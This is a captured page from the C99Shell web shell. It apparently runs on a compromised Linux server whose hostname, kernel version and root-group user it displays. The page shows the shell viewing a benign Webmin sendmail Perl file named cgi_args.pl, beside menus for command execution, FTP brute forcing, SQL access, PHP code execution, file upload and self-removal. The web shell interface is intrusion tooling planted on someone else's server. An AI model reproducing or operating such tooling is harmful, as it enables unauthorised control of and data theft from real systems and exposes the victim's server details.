!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/sendmail/   drwxr-xr-x
Free 26.7 GB of 117.98 GB (22.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     cgi_args.pl (1.42 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

do 'sendmail-lib.pl';
do 'virtusers-lib.pl';
do 'generics-lib.pl';
do 'domain-lib.pl';
do 'access-lib.pl';

sub cgi_args
{
my ($cgi) = @_;
if ($cgi =~ /^list_/) {
    # All these are OK with no args
    return '';
    }
elsif ($cgi eq 'edit_alias.cgi') {
    # Assume first one
    return 'num=0';
    }
elsif ($cgi eq 'edit_virtuser.cgi') {
    # First virtuser, if any
    my $conf = &get_sendmailcf();
    my $vfile = &virtusers_file($conf);
    my ($vdbm, $vdbmtype) = &virtusers_dbm($conf);
    if ($vdbm) {
        my @virts = &list_virtusers($vfile);
        return @virts ? 'num=0' : 'none';
        }
    return 'none';
    }
elsif ($cgi eq 'edit_generic.cgi') {
    # First outgoing address mapping
    my $conf = &get_sendmailcf();
    my $gfile = &generics_file($conf);
    my ($gdbm, $gdbmtype) = &generics_dbm($conf);
    if ($gdbm) {
        my @gens = &list_generics($gfile);
        return @gens ? 'num=0' : 'none';
        }
    return 'none';
    }
elsif ($cgi eq 'edit_domain.cgi') {
    # First domain table entry
    my $conf = &get_sendmailcf();
    my $dfile = &domains_file($conf);
    my ($ddbm, $ddbmtype) = &domains_dbm($conf);
    if ($ddbm) {
        my @doms = &list_domains($dfile);
        return @doms ? 'num=0' : 'none';
        }
    return 'none';
    }
elsif ($cgi eq 'edit_access.cgi') {
    # First spam control rule
    my $conf = &get_sendmailcf();
    my $afile = &access_file($conf);
    my ($adbm, $adbmtype) = &access_dbm($conf);
    if ($adbm) {
        my @accs = &list_access($afile);
        return @accs ? 'num=0' : 'none';
        }
    return 'none';
    }
return undef;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--